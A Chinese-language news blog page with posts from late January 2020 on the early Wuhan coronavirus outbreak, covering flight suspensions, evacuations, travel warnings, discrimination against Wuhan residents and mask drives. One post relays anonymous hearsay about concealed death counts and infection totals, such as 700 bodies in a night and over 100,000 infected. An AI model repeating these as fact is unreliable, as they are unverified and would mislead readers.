证据显示限制人员和货物流动不一定有效果，而且会分散干预疫情的各方资源；另外限制人员货物流动也可能干扰必要的援助和技术援助，可能会影响各行业，对受影响的国家造成经济上的负面影响。

2020-01-30 / by beibei / in 医疗健康, 新闻, 疫苗

禁止前往！美国务院提升中国旅游警示至最高级

武汉肺炎蔓延至全球，美国至今已有6例确诊病例。美国国务院将中国旅游警示提高到最高级——不要前往。

美国务院示警，「WHO已认定武汉肺炎为国际公共卫生紧急事件，旅游限制可能在无预警状况下实施，一般旅客应做好准备；商务行程则应尽量减少或延期。」美国务院也要求公务员在非必要的情况下，延迟飞往中国的行程。

2020-01-30 / by beibei / in 医疗健康, 新闻

全球航空公司缩减或暂停飞往中国航班

2019-nCoV新型冠状病毒起源于武汉，被称为武汉肺炎。武汉肺炎在中国所有省份蔓延，几近失控，感染人数和死亡人数每天大幅上升，并在全球开始传播。越来越多的全球航空公司正在缩减或完全暂停飞往中国的航班。

英国航空、美国航空、联合航空、国泰航空、芬兰航空等已宣布计划削减飞往中国的航班数量或完全停止飞往中国的航班，全球其它的航空公司也向客户提供飞往中国航班退款服务。

停飞所有中国航班的航空公司
英国航空、亚洲廉价航空公司狮航和首尔航空，宣布暂停飞往中国的所有航班。

英国航空公司周三（1月29日）表示，因病毒爆发，在政府警告避免不必要的赴中国旅行后，英国航空公司立即暂停所有往返中国大陆的航班。

该航空公司每天运营从伦敦希思罗机场到上海和北京的航班。英国外交部周二更新中国旅行建议，警告国民「除了必须的旅行」，不要去大陆，不包括香港和澳门。

德国汉莎航空公司在法兰克福的女发言人告诉CNN，由于担心新型冠状病毒，公司已取消所有往返中国的航班，直到2月9日。

发言人补充说，这些措施也适用于汉莎航空在瑞士和奥地利的子公司。汉莎航空说，对中国的所有预订都已暂停，直到2月底。

「今日美国」报导，廉航首尔航空公司成为韩国第一家暂停飞往武汉以外中国大陆目的地的航空公司，包括飞往张家界和临沂市的航班。

印尼狮航（Lion Air）表示，到2月为止，已经取消了50多个飞往中国的航班。其航班从登巴萨、万鸦老、泗水、雅加达和巴淡岛的五个国际机场飞往中国15个机场。

狮航集团发言人Danang Mandala Prihantoro表示，暂停活动将逐步实施，并将持续到另行通知。

美三大航空公司减少飞中国航班
美国最大的航空公司美国航空集团周三表示，由于新型冠状病毒爆发后需求下降，将暂停从洛杉矶飞往北京和上海的航班。

美国航空表示，停飞将于2月9日至3月27日进行。

美国政府已敦促美国人避免不必要的中国旅行。联合航空周二表示，由于武汉肺炎疫情升级，飞往中国航班的「需求大幅下降」，决定在下个月取消几十个航班。

在美国航空公司中，联合航空提供最多飞往中国的航班。联航周二在一份声明中表示，该公司将在2月1日到2月8日期间取消飞往中国各地的部分航班。根据该公司的减班计划，被减少的航班包括从旧金山和新泽西州纽瓦克飞到香港，从华盛顿杜勒斯机场、纽瓦克和芝加哥飞往北京，以及从旧金山、纽瓦克和芝加哥飞往上海等的航班。

CNBC报导，由于与武汉肺炎相关的全球健康问题引起客户需求大幅下降，达美航空暂时减少美中之间每周航班数。

达美航空目前每周运营42次美中往返航班，达美将把美中航班减少到每周约21班，在同一航线上每周提供3到4班飞机。更新时间表将从2月1日开始在Delta.com上反映出来，并将于2月6日至4月30日生效。

其它暂停部分中国航班的航空公司
法荷航集团的荷航（KLM）周三晚间表示，由于中国冠状病毒爆发，将取消飞往中国的部分航班。 KLM表示，从周五开始，飞往成都和杭州的直航将被暂停，而飞往上海的航班将从每周11次减少到7次。

荷航在一份声明中说，飞往北京的服务没有受到影响。

加拿大航空也在缩减、取消飞往中国的部分航班。国泰航空表示将从1月30日至3月底减少飞往中国的航班。

芬兰旗舰航空公司芬兰航空（Finnair）周二宣布，将取消3月29日之前飞往北京（在北京大兴国际机场）和南京的每周五班航班。但是，芬兰航空表示将继续每日运营到北京首都机场和上海机场，每天两次到香港，每周两次到广州的航班。

俄罗斯的乌拉尔航空（Ural Airlines）表示，由于疫情爆发，已暂停了一些飞往欧洲的航班，这些航班在中国游客中颇受欢迎，包括巴黎和罗马。其它航空公司正在采取旨在减少传播病毒机会的措施。

2020-01-30 / by davidhorgan479 / in 新闻

新型冠状病毒蔓延或会加速就业机会回美

中国星期四1月30日统计，中国新型冠状病毒疫情已造成170人死亡，全国范围内累计报告确诊病例已经达到7700多例。

美国商务部长威尔伯·罗斯（Wilbur Ross）星期四（1月30日）在接受福克斯商业新闻采访时首先对疫情的发展表示悲痛，同时提出新型冠状病毒的蔓延或会影响到美国企业的供应链，在美国企业需要考虑这一风险因素时，会加速一些就业机会回到美国。

在另一方面，罗斯也指出，从当年的萨斯、到猪瘟、又到今天的新型冠状病毒，这些都是美国企业需要考虑的另一个风险因素。

他说：“但事实是，企业在复查他们的供应链的过程中，在其他所有要素外，这令他们又多了一个考虑的因素。”

罗斯还说：“我认为这将加速工作机会回流到北美，一些回到美国，也可能有一些也会到墨西哥。”

华盛顿邮报星期四的一篇报道说，到目前为止，在疫情对经济的影响这个问题上，白宫一直出言谨慎，特朗普总统还特意称赞中国国家主席习近平。

2020-01-30 / by davidhorgan479 / in 医疗健康, 新闻

武汉如鬼城美国学生：如遇世界末日

自武汉肺炎（新型冠状病毒）疫情爆发以来，不少外国籍人士被困在中国。美国一名21岁的学生在武汉封城以后，被困在当地长达一周的时间，非常痛苦，一度表示如遇世界末日。

在湖北武汉因肺炎爆发而封城之后，美国一名21岁的学生受困在当地长达一周的时间，无路可逃。他在接受英国媒体访问时表示，武汉当地宛如鬼城，而他像是遭遇了世界末日。

据路透社报导，这个名叫施耐德（Nicholas Schneider）的男子在美国出生，拥有美国和德国的双重国籍，目前在武汉大学修读大地测量学。

在武汉于1月23日封城之后，所有对外交通中断。他原本想在当天早上搭乘火车离开，但遭到父母亲劝阻，他们担心他会受到病毒感染。而他也因此而决定留下来。

他在周三（1月29日）接受路透社的电话访问时说：“那正是我感到害怕的时候，因为我不知道该做什么。”

他说：“这就像一座鬼城，几乎没有人、车。这是一种很奇特的感觉。不知怎么的，我觉得我经历了世界末日。”

'I'm in an apocalypse:' American student trapped in coronavirus-hit Chinese city https://t.co/Tl7et0ceQ4

— Reuters China (@ReutersChina) January 30, 2020

为了离开武汉，施耐德分别联系美国和德国领事馆的官员。他说，美国领事馆提供一个1,100美元的包机座位给他，但他必须自行前往机场。在交通中断的情况下，他无法抵达机场，而领事馆人员说，他们会将他的座位让给别人。

这架搭载二百多名美国公民的包机已于周三飞抵加州。

美国国务院官员在一封电子邮件中指出，新型冠状病毒的高危人群优先搭乘这架包机，其中包括：小孩、老年人、有其它健康问题而承受较大风险的人。

在未能搭上美国包机的情况下，施耐德转向德国领事馆官员求助。他们承诺让他与其他学生搭乘巴士到机场，以便在2月1日搭乘飞往德国的飞机。

在此之前，施耐德说，他会一直窝在他的房间里，只有在前往附近市场买水和食物时才会外出。

他说：“我希望还没有遭到厄运。”

2020-01-30 / by beibei / in 新闻

并非空穴来风新冠病毒来自武汉的实验室？

在湖北武汉爆发了疫情后，中国国家疾控实验室的科学家在不到一周的时间里分离了病毒，测完了序列并证实了病原。但是目前对于这个新型病毒究竟来自哪里存在不同的说法：一种在中国网民中流传很广的说法是，这个病毒并非来自此前认为的华南海鲜市场的动物身上，而是被武汉的一个病毒研究所泄漏出来的。美国的一些专家认为，目前来看，这些传言并没有根据。

病毒并非来自早先认定的华南海鲜市场？

中国卫生当局和世界卫生组织最初的报告说，第一个病例在2019年12月8日出现症状，并说大部分患者与华南海鲜市场有关。这个市场今年1月1日已被关闭。

但是医学杂志《柳叶刀》对于第一个病例的描述却对这种说法提出了挑战。

这个由好几个中国研究机构的研究人员撰写的研究报告描述了最早的41个住院病人的情况。这些报告作者说，第一个病患者是2019年12月1日生病的，但据悉这个病人与华南海鲜市场没有接触史。他们指出，在第一个病人和以后的病人之间没有发现流行病学联系。他们的数据还显示，总共41宗案件中有13宗与这个市场无关。

病毒来自武汉病毒研究所？

目前中国的互联网和社交媒体上充斥着这个病毒究竟来自哪里的传言。有一个说法是，这个病毒是从武汉病毒研究所里意外泄漏出来的。人们怀疑，这个研究所正在研制军方的生化武器。

有网友还挖出了一张照片，照片上显示的是中国科学院武汉病毒研究所的一位姓石的研究员2018年11月14日在上海做学术报告，报告的题目是“蝙蝠冠状病毒及其跨种感染研究”。他们认为，这说明在那个时候武汉病毒研究所就已经掌握了跨种感染的蝙蝠冠状病毒。

武汉是中国的病毒学研究重镇，中国科学院的病毒学研究所就在武汉，而且武汉大学还有一个病毒国家重点实验室。

纽时记者：传言不可信

不过，《纽约时报》获得过普利策奖的健康医学记者芬克（Sheri Fink）认为，认为这次病毒是人为传播出去的说法不可信。

她说：“我们有这个病毒的排序。它与我们所知道的其他先前的冠状病毒密切相关。有的动物在携带这种病毒时并不生病。这些病毒后来跨种传到人类身上。一般来说，它通常确实来自动物。”

这位在西非实地报道过埃博拉疫情的记者告诫说，在这个问题上我们需要很小心。到目前为止，她并没有看到任何有信誉的科学家在推广这种说法。

黄严忠：没有证据，但有病毒泄漏的先例

美国智库外交关系协会的公共卫生专家黄严忠也认为，目前并没有证据表明这个病毒是人为传播出去的。不过他说，在非典期间，的确出现过病毒外泄的安全事故。

他说：“在爆发萨斯后，在安徽省出现了萨斯病毒泄漏导致那个省好几个人被感染的生物安全事故。”

伯利基：有病毒从动物跨种到人类的先例

外交关系协会全球卫生问题高级研究员伯利基(Thomas Bollyky)说，他更相信比较简单的一种解释。

他说：“有很多新的涉及冠状病毒从动物跨种传到人类的分析。这种情况在中国有发生的先例，不管是涉及某一个具体的市场还是动物买卖所引发的其他东西。这看起来远比那些怪异的解释更为可能。”

这位卫生专家说，当然还要看是否有什么新的信息出现。

2020-01-30 / by davidhorgan479 / in 医疗健康

特朗普总统成立工作小组应对新型冠状病毒疫情

1月29日，美国总统特朗普专门成立新型冠状病毒工作小组，应对2019新型冠状病毒，并要求随时向他报告事态发展。

卫生与公共服务部长阿扎尔(Alex Azar)主持这个工作小组，并透过国安会的协调合作，由白宫与美国政府机构的几位专家组成，其中包括美国在传染病领域的重要专家。

这个小组将主导政府监测、遏止疫情及降低病毒散播的工作，并确保美国人民获得最准确及时的健康与旅游信息。

白宫表示，美国人民的健康与福祉是总统的优先事项，尽管美国人民感染的风险仍然极低，所有机构都在监测相关发展，并让民众知道情况。

特朗普总统稍早透过推特表示，已听取中国新型冠状病毒的简报，美国相关部门与中方密切合作，美国会持续关注事态发展，美国有世界上最棒的专家。

2020-01-30 / by davidhorgan479 / in 医疗健康, 新闻

武汉肺炎肆虐法拉盛新年庙会取消大型宴会改期

由于新型冠状病毒肺炎疫情在中国失控，疫情快速蔓延，在中国的确诊人数每天大量增加，29日中国官方公布，武汉再确诊病例1,032人，但专家认为确诊人数应远不止这个数字。

纽约是华人人口最多的大城市，为预防风险，法拉盛文艺中心宣布，原定于2月1日举行的新年庙会取消。同时，多个侨团原计划举办的多场春宴，团拜，庆祝新年活动也取消或改期。

根据法拉盛文艺中心（法拉盛市政厅）官网，该中心决定取消原定于2月1日（周六）古董的一年一度的黄历新年庙会，“原因是担心冠状病毒带来的健康风险越来一场。” 法拉盛文艺中心表示在我们的地区虽然没有关于冠状病毒的任何报告事件，但是因为病毒的全部风险还不知道。鉴于许多地方活动被取消了，我们做出了取消活动的困难决定。

法拉盛的酒楼生意影响很大。君豪酒楼表示，过年期间本来是生意最好的时候，每年都有很多侨民利用该酒楼附近最中心，场地最大的优势办春宴，团拜，但今年过年，酒楼生意大减，近期有好几场的侨团春宴推后或取消，何时再举行，以后再通知。

由于法拉盛的人流量减少，超市生意受到影响，法拉盛长岛火车站桥底一家华人超市原来门庭若市，收银台前排长龙，但29日记者见到顾客冷落，该店负责人表示，“生意少了很多。

针对人们的担心，纽约市卫生局表示，现在纽约并没有确诊病例，纽约人的风险存在，市民无需过分担心，纽约市正向监视该疫情，并且与联邦疾病控制及预防（CDC）的伙伴合作。卫生局也在官网以中文发布做好自我保护的措施，包括避免接触动物，避免与患者接触，经常用肥皂和温水洗手，每次持续至少20秒；如果最近去过中国，并出现发烧，咳嗽或呼吸困难，要立即就医，前往医生办公室或诊所之前，事先致电告知旅行及症状出现的情况，并避免放置公共场所等。

2020-01-30 / by davidhorgan479 / in 医疗健康, 新闻

武汉肺炎冲击全球旅游业泰国肉疼或将取消中国落地签？！

旅游国家泰国一年接待逾3000万游客，而泰国的GDP1/4都来自旅游业。中国大陆旅游部门近日下令停止中国所有旅行社对国内和境外旅游团开团。泰国入境旅客一夜间减少了1/3，不过仍无法组织该国疫情不断扩散，截至30日，泰国已经确诊武汉肺炎14例。持续增加的病例令泰国政府压力倍增，泰国媒体报道，泰国政府将在明天开会商讨拟叫停中国的落地签。

泰国到今天为止共有14例确诊的2019新型冠状病毒（2019-nCoV，武汉肺炎）病例，是中国以外最多确诊病例的国家，其中6人已康复出院，其馀8人仍在医院治疗。

中国是泰国的国际观光客最大来源国，以2018年来说，国际观光客总数为3800多万人次，中国观光客有1066万人次，但随著疫情扩大，是否暂停中国游客赴泰，对泰国政府来说是必须仔细考量的议题。

曼谷邮报（Bangkok Post）报导，泰国观光暨体育部长皮帕（Phiphat Ratchakitprakarn）表示，是否暂停中国旅客赴泰落地签，必须收集来自各单位的意见，泰国不能表现得好像急著要切断和好朋友的关係，只因为好朋友生病了。

皮帕表示，如果暂停中国旅客赴泰落地签，不会适用所有的中国旅客，只会适用来自部分省分的中国旅客，例如武汉或其他疫情严重的地区。

泰国副总理兼公共卫生部长阿努廷（Anutin Charnvirakul）今天受访表示，相关单位明天将举行会议，讨论是否暂停中国游客赴泰落地签。

此外，对于滞留在武汉的泰国人，阿努廷表示，泰国政府已经准备好民航机，只要中国政府同意，就可以撤离在武汉的泰国人。

泰国总理帕拉育（Prayut Chan-o-cha）昨天表示，因为无法用军机撤离泰国人，因此政府会和民航公司签约，若中国政府同意撤离在武汉的64名泰国人，届时将有医护人员随机；而儘管无法使用军机撤离泰国人，但为了应对紧急状况，军方仍会做好准备。

2020-01-30 / by beibei / in 医疗健康, 律师/移民/金融, 新闻

金鼠年武汉肺炎肆虐大陆网民自嘲：鼠年成过街老鼠

2019年非洲猪瘟令中国物价翻倍，中国民众每个人都感觉到了生活上的压力。到了2020年，大陆人将今年称之为金鼠年，作为十二生肖的首位，鼠年代表一个轮回的开始。不过今年刚开始就冒出了武汉肺炎，直至今天，尚无药可医。中国当局眼看疫情控制不住开始封城，武汉一夜间30万人“大逃亡”，官方随后大肆在全国各地和海外“抓”武汉人回家。在中国，武汉人住店、回家省亲都被要求不能出门，武汉市内不准私家车上路，民众只能呆在家中。武汉肺炎带来人性大考验。有网友称，武汉人在鼠年到来之际成为「过街老鼠」；现在还有人担心，就算疫情过去后，湖北人求职也会被歧视。

中国湖北省武汉市是2019新型冠状病毒感染的肺炎（俗称武汉肺炎）疫情起源地，武汉市长周先旺先前表示，因为春节和疫情的影响，已有500多万人离开武汉，还有900万人留在城裡。

这500多万武汉人中，有些外出过节的途中才知道家乡爆发疫情，并在23日开始「封城」。网路上有不少武汉人自述遭排挤、隔离、想办法回家乡的过程。

陆媒楚天都市报刊登的「春节特别日记」专栏中，在中国电信武汉分公司工作的唐莹就是其中一例。他与家人在过年前到广西旅游，武汉封城当天，他们遭旅游地的饭店服务人员反覆测量体温，并要求去医院自费检查身体，经商量后只同意再住一晚。

与之对照的，则是一名武汉人26日在微博发文说，他在当天入驻日本北海道札幌饭店，饭店人员知道他来自武汉后，问他是否有不适，并给他详细的就医指南，「言语之间没有任何歧视」。办完入住手续后，柜台人员还拿出红包，祝他新年快乐。

这名网友说自己非常感动，尤其看了在中国「那么多酒店不允许武汉人入住，叫嚣要武汉人滚出去，真的让人何其伤心」；他说，「在异国能享受到如同家一般的温暖，回国后却还要担心在祖国母亲怀抱是不是要到处流浪」。

不少媒体呼吁各地政府，应该要有妥善安置在外地湖北人的措施。根据新京报28日的报导，目前在云南、陝西西安、广东湛江、广西桂林、上海、海南海口、厦门鼓浪屿、湖南长沙等地的有关部门，都已经为滞留当地的武汉游客提供特定接待宾馆，甚至是免费的住宿服务。

同时，也有一些武汉人「自救」，社群平台微信上就有多个「武汉同胞回家群」，寻找当地愿意收留武汉人的旅馆。

除了旅游在外的湖北人，在外工作的湖北人也面临寄居地居民异样的眼光。

网路上传出两份来自浙江绍兴社区居委会和街道办事处的公告显示，当地以奖金鼓励居民检举社区的湖北人或「武汉密切接触者」，最高人民币1000元。

有网友撰文表示，如果要婉拒绝别人的饭局，「可以告诉他们你刚从武汉回来」；如果要威胁别人，「可以说我们几个武汉的朋友要去你们家拜年」。他感叹，「武汉人在鼠年到来之际成为过街老鼠」。

在中国问答网站「知乎」及讨论平台「虎扑社区」上，都有人在讨论，等疫情过后，担心湖北人找工作仍会受到歧视。

对于湖北人、武汉人遭受其他中国人排挤的现象，北京方庄卫生服务中心主任吴浩29日在中国国家卫生健康委员会举行的新闻发布会上强调：「我们共同的敌人是疾病，不是武汉人。」

2020-01-30 / by beibei / in 医疗健康, 新闻, 求职, 留学/教育/求职

中国夫妻意大利发烧 7000人被困邮轮

据英国镜报及卫报报道，停靠在法国的一艘邮轮上有一对中国夫妻被发现疑似感染，该夫妇立刻被隔离检查，为避免传染，船上7000人员立刻遭被扣留在邮轮上。

报道称，目前该邮轮「Costa Smeralda」停靠在罗马西北部，意大利的城市奇维塔韦基亚。船上一对中国夫妻出现发烧症状与呼吸道疾病，医生正在检测他们是否患病。

为了防疫，船上6000名乘客与1000名船员被要求不得离开邮轮。奇维塔韦基亚市长表示，局势处于「谨慎控制」之下，所有必要的措施均得到遵守。

据报导，目前戴著口罩的官员已经登上邮轮，目前不确定该船是否会照原定计画在週六抵达目的地萨沃纳。《法新社》稍早也证实有轮船被扣留在意大利。

2020-01-30 / by beibei / in 医疗健康, 新闻

武汉肺炎到底死了多少人？武汉民政部公告露端倪

近日，武汉肺炎疫情不断恶化，1月28号武汉民政局发布公告表示，对于新型冠状病毒肺炎的逝者遗体免收火化费用。由于公告中显示当地殡仪车辆和人手不够等信息，而且随后就删除了此部分内容，不禁令人怀疑，到底死了多少人？

1月28号，武汉民政局宣布，对于新型冠状病毒肺炎的逝者遗体免收火化费用。公告中说“为了加强运力”，已经争取到多个部门配合“调配了一批殡仪车辆，人员以及防护用具”等，提高遗体接运和服务保障能力。但很快，官方修改了公告，删去了对殡仪车数量的描述。不过，这份公告已经引发关注。

有网友质疑，到底死了多少人？弄的现在殡仪车都不够用了。这么快就编辑删减内容又是什么情况？不要再考验人们的智商！

武汉民政局1月28号发布对武汉肺炎的逝者遗体免收火化费用的公告，由于透露出殡仪车辆和人手不够用，民众怀疑当局隐瞒死亡数量。

对此，新唐人电视台记者打电话核实死亡人数，但当地民政局的工作人员不予回答。

武汉民政局工作人员：“我不能和你核实，我们有新闻发言人的。我们不能对任何人发布任何东西。”
记者：“那行，那您得跟我说一下新闻发言人的电话。”
武汉民政局工作人员：“那新闻发言人我现在是谁不知道，你找我们办公室。”
记者：“那办公室的电话您提供一下。”
武汉民政局工作人员：“我马上忙，对不起，我马上忙，我要处理公务。好吧。”
记者：“等一下，这就是您的工作。”（挂断）

不少网友爆料：“不好意思这就是真的，现在不让采访是因为现在的武汉病人数量太多，简直人间地狱，武汉的殡仪馆都加了很多车24小时运送尸体火化。”

“现在有人根据武汉殡仪馆每天火化的数字推算武汉肺炎每天死亡数字在600-1000之间。”

“不会让你看见尸体，武汉殡仪馆24小时火化，军队接手以后，进行军管。”

有网友表示：武汉市有武昌、汉口两家殡仪馆，共计30余台殡仪服务车，48台火化炉。武汉现在差不多还有800万人，正常每天死亡约80人左右。发现有汉口殡仪馆关于简化流程，调配一批车辆，而火化一次大约是一小时左右，连清理再半小时，最快一个半小时可以操作一次。大家可以自行思考。

武汉肺炎武汉民政部宣布对新型冠状病毒肺炎的逝者遗体免收火化费用透露出殡仪车辆和人手不够用，殡仪馆死亡人数多

武汉民政局宣布新型冠状病毒肺炎的逝者遗体免收火化费用，并透露出殡仪车辆和人手不够用，网友表示，可能武汉肺炎实际死亡人数远超官方数据。

新唐人记者之后又致电多家殡仪馆核实情况。

武汉黄陂区殡仪馆工作人员：“我们这边就是我们黄陂区的。每天多了啊，比平时多了。现在他那个乡镇的都拖过来火化。我们这里是五台炉子，我们是由早上7点到下午4点半钟。这个不等的，我们这里要是过来就火化。”

武汉新洲区殡仪馆工作人员：“火化是特殊情况的话，我们随时都可以烧。肯定是确诊的，要确诊的，要医院确诊的。我们专门有人拉这个确诊的，我们有几班人，换班的。特殊时期是24小时。”

而国家一级的武昌殡仪馆，和被武汉市政府指定火化新型冠状病毒肺炎逝者的汉口殡仪馆，则不回复记者的核实。

另一名自称在青山殡仪馆工作的人发消息说，“我们单位这几天死亡遗体拖过来的数量暴增”，“我只晓得武昌殡仪馆、汉口殡仪馆停尸房已经放不下尸体了”，“我都快撑不下去了，单位连防护服都不发放给我们……”

来自武汉旅居美国的赵先生告诉大纪元，武汉的肺炎疫情非常严重。他有一个朋友熟悉武汉殡葬系统，包括殡仪、火葬，有熟人做遗体处理方面的工作。朋友透露，“除夕一晚上处理了700多具尸体，可能超过10万人被感染”

自疫情爆发以来，就不断有患者在网路投诉，由于医院测试能力有限，很多人未经确诊，无法获得救治，甚至就这样去世。

2020-01-30 / by beibei / in 新闻

“空中飞人”注意啦！武汉肺炎全球航空停飞或削减班机

中国湖北省武汉市近期爆发了波及全球的肺炎疫情，中国旅游部门随后下令全国旅行社暂停接团，海外团最迟在1月27日后也不得开团。中国旅行社的线上业务酒店及机票预订统统取消。对全球旅游业造成冲击的同时，海外多家航空公司也做出停飞和削减航班的举动。以下是根据法新社及路透社总结的航班调整概况：

法国航空（Air France）

法航自24日起取消每週3班飞武汉的班机，不过截至今天，法航仍维持每週23班飞北京与上海的航班。

英国航空（British Airways）

英国航空宣布暂停所有往返中国的班机，原本英航每天都有航班往返伦敦希斯罗机场（Heathrow）与北京及上海。

英国政府发布旅游警示，建议没有必要应避免前往中国。英航表示，遵照政府旅游警示，决定暂停航班。

国泰航空（Cathay Pacific）

总部在香港的国泰航空表示，自30日至3月底，将逐步减少往来中国航班50%或更多的载客量。

国泰航空子公司国泰港龙航空（Cathay Dragon）也将比照办理。

芬兰航空（Finnair）

经营往返欧亚两地多个航班的芬兰航空昨天表示，因中国宣布暂缓海外出团，自2月5日至3月下旬，将暂停部分航班。

目前芬兰航空仍维持每天飞北京与上海，每天两班飞香港与每週两班飞广州的班机。

印尼狮航（Lion Air）

印尼狮航发言人今天表示，由于2019新型冠状病毒疫情，印尼狮航将暂停所有往返中国15个城市的航班。

狮航2月1日起暂停往返中国的航班。

每年约有超过百万的中国观光客到印尼旅游，在当地工作的中国移工约有数万人。

联合航空（United Airlines）

美国卫生部门官员呼吁若非必要避免前往中国后，联合航空昨天表示，由于需求量大幅减少，联合将减少往返美中两地的航班。

联合宣布减班后，自2月1日至8日由美国3个城市飞往北京、香港与上海的部分航班将受到影响。

乌拉尔航空（Ural Airlines）

俄罗斯乌拉尔航空今天宣布，取消众多中国观光客搭乘前往欧洲，包括巴黎与罗马等地班机。此前乌拉尔航空已宣布暂停数个飞中国的航班。

缅甸国际航空（Myanmar Airways International）

缅甸国际航空公司宣布，自31日起暂停飞往中国10个城市的包机，并同意已订位搭乘飞广州的定期航班旅客，可调整他们的行程且不收取任何费用。

缅甸国家航空（Myanmar National Airlines）

缅甸国家航空公司宣布，自2月1日起停飞往香港与成都的班机。

加拿大航空（Air Canada）

加拿大航空表示，每週有33个飞往中国的航班，已取消部分航班。

首尔航空（Air Seoul）

韩国廉航首尔航空宣布，暂停所有飞中国的班机。

部分航空公司包括德国汉莎航空（Lufthansa Airline）与北欧航空（SAS）表示，目前为止尚未调整飞往中国的班机。

2020-01-29 / by beibei / in 中共病毒, 新闻

【武汉肺炎】谷歌暂时关闭中港台工作室星巴克关2千家门店苹果限制员工到中国出差

去年年末从武汉爆发的2019新型冠状病毒肺炎迅速席卷全球。各国纷纷加强监控措施和避险，跨国公司更是忍痛关闭门店等。全球最大咖啡销售店星巴克宣布关闭中国2000多家门店，苹果公司除关闭武汉门店外，还限制员工到中国出差。而全球科技巨头谷歌更是关闭了中港台3地的工作室，防止肺炎进一步传播。

据路透社报道，Alphabet Inc旗下的谷歌公司（Google）今天表示，由于新型冠状病毒引发的疫情肆虐，将暂时关闭中国、香港和台湾的所有办公室。谷歌没有提到何时复工。

全球最大咖啡品牌星巴克也宣布关闭中国的一半门店。星巴克在中国有4292间分店，这次需要关闭2000多家，星巴克也成为首家因武汉肺炎疫情，财务受冲击的主要美国公司。中国市场占星巴克全球营收的10%。

苹果公司关掉了位于武汉的一家门店，并限制员工到中国出差。苹果执行长库克（Tim Cook）说：「我们正在捐款给努力抑制疫情的团体，我们也与我们的团队和伙伴非常密切合作。」

2020-01-29 / by beibei / in 医疗健康, 新闻

“口罩慌”，洛杉矶华人举办“海外华人采购口罩”活动

鉴于武汉的新型冠状病毒向全中国和世界扩散，以武汉为中心的地区出现“口罩慌”的现象。1月28日，部分洛杉矶华人在华人聚集区的夏威夷超市旁，举办为武汉捐物的“海外华人采购口罩”活动。

参加“海外华人采购口罩”的义工陈先生说：由于对付病毒的口罩等相关防护用品越来越抢手，“ Home Depot，CVS，还有沃尔玛这些大商店都没货了。”

口罩紧俏在国内更是众所周知，价格也是“青云直上”。正在美国留学的郑先生说，在淘宝网上采购口罩给在成都的妈妈：“发现10个口罩价格已经涨到358元人民币了，但还是只有买，其他地方根本没货了。即便有货的也要年后发，那就来不及了。”

“海外华人采购口罩”行动，通过平面纸媒、互联网社交媒体和实地征集结合的方式，为救助中国以武汉为中心的疫情灾区做出努力。

该行动的活动人士星期二在夏威夷超市外，向过往行人发放二维码传单。自愿者只需扫码便可加入捐赠者的“电报”群，下单后通知该群即可。

由于口罩在洛杉矶的实体店已经呈现脱销趋势，参与行动的郑存柱表示：“我们动用了各种关系，从外州可以买到，比方说拉斯维加斯、凤凰城等。我们在网上也订购了一些。呼吁出去以后，有几个城市的企业家捐的量还比较大。”

对于募集到的口罩等用品如何送到中国疫区，郑先生说，方法之一是通过快递。小盒装口罩，可以把50或者100盒装进一个大箱子打包投递，“仍然是可以做到的”。

曹永昌说，由于人们都把目光放在武汉，事实上，武汉之外的边远地区也很需要；他已经购买了7000只口罩，定点送给了咸宁的一家医院。

关于在美国获得的捐赠如何进入中国，他们也想好了最不得已、但是也会很有效的做法。曹永昌说：“实在不行的话，我们就到洛杉矶国际机场，把口罩送给前往中国的乘客，每人带20个回去。他们自用、给家人用、给亲朋戚友用都可以。”

邱永阳把自己在美国的一间办公室用作捐出物品的收货地点，他之前已经先行购买了五千只口罩，从美国首都华盛顿特区寄往了武汉，由当地教会帮助在大街上全部补充完毕。

参与“海外华人采购口罩”行动的熊焱呼吁周围全世界的华人提供物资的帮助，因为，现在中国不缺钱。他们缺的是口罩，防护服，还有其他的，比方药品等。

赵先生表示，很为武汉人感到悲哀，因为中央政府拨出的救灾款数额，比起对外援助而言，实在是很少。

2020-01-29 / by davidhorgan479 / in 医疗健康, 医疗药品

纽约市健康局向全市学生发出预防新型冠状病毒的提醒

1月28日“纽约市健康及心理卫生局”疾病控制处副处长Demetre C.Daskalakis，该局家庭及儿童健康处助理局长Roger Platt ，向全市公校家长致信，提醒学生注意预防在中国爆发的新型冠状病毒。

信中说，全球有数以千计的人，主要在中国，被检测出有新型冠状病毒，这个病毒是从未在人类发现的病毒类型。这种新型冠状病毒，可以导致发烧，咳嗽，呼吸急促。总体纽约市的确诊个案是零，纽约人的风险传染。纽约市正密切监视该疫情，并且与联邦疾病控制及预防（CDC）的伙伴合作。

信中建议学生：现在每个人的生活作息可如常，但是要实行一些在感冒和流感季同时使用的预防措施。打喷嚏或咳嗽时用纸巾或衣袖（不是手）掩盖口鼻，经常用肥皂和水洗手，如果感到不适，请留在家中。如果您最近曾经到过中国武汉，现在发烧，咳嗽和气促，请致电医生。

2020-01-29 / by davidhorgan479 / in 医疗健康

武汉撤出的美日侨民抵达本国，疫情将重创中国经济

经官方证实，确诊新冠病毒肺炎患者还在大幅度增加，周三已经超过6000人，为6078，较昨日增加1459。死亡人数132，较昨日增加26。疑似病例为9255，较昨日增加2282例。为了遏制新型病毒的扩散，中国当局采取了规模空前的防控措施，到目前为止，已经有17个城市、5000多万人被隔离起来。

许多国家都纷纷准备把本国侨民撤离湖北，其中运送美国和日本侨民的包机周三（1月29日）早上起飞，离开武汉。

美国的包机目前已经抵达美国阿拉斯加的安克雷奇市。机上240名乘客在安克雷奇办理了入关手续，并接受了疾控中心的筛查。

据美国驻华大使馆提供的信息，飞机在安克雷奇国际机场加油之后继续飞行，终点站是位于加州南部的洛杉矶/安大略国际机场。美国医院已经做好准备，对病毒携带者进行隔离治疗。

日本的包机已经抵达东京机场。据美联社报道，东京市政府证实，包机上的206名乘客有4人生病。他们由救护车单独送往东京医院接受进一步检查和治疗。

所有乘客在武汉登机前和飞机飞行过程中多次进行体温测量。医护人员根据个人最后的测试结果制定了相应的治疗和隔离方案。

机上乘客，日本钢铁公司新日铁雇员青山雄男（Takeo Aoyama）对媒体说：“我极为担心，疫情快速发展的时候我被困在那里（武汉）”。

他说：“我现在感到真正的放心了。”

澳大利亚和新西兰也在筹备撤离侨民。这两个国家都提升了对前往中国旅行的本国公民的旅行警告级别。

现在人们更担心这次的肺炎疫情会对中国这个世界第二大经济体会造成多大的影响。

许多航空公司都削减了飞往中国的班机。英国航空公司周三宣布立即暂停该公司所有飞往中国大陆的航班。英航在一份声明中表示，“我们对由此带来的不便向旅客们道歉，但是我们旅客和乘务人员的安全永远是我们优先考虑的东西。”

英航的日常航班是从伦敦希思罗机场飞往上海和北京。

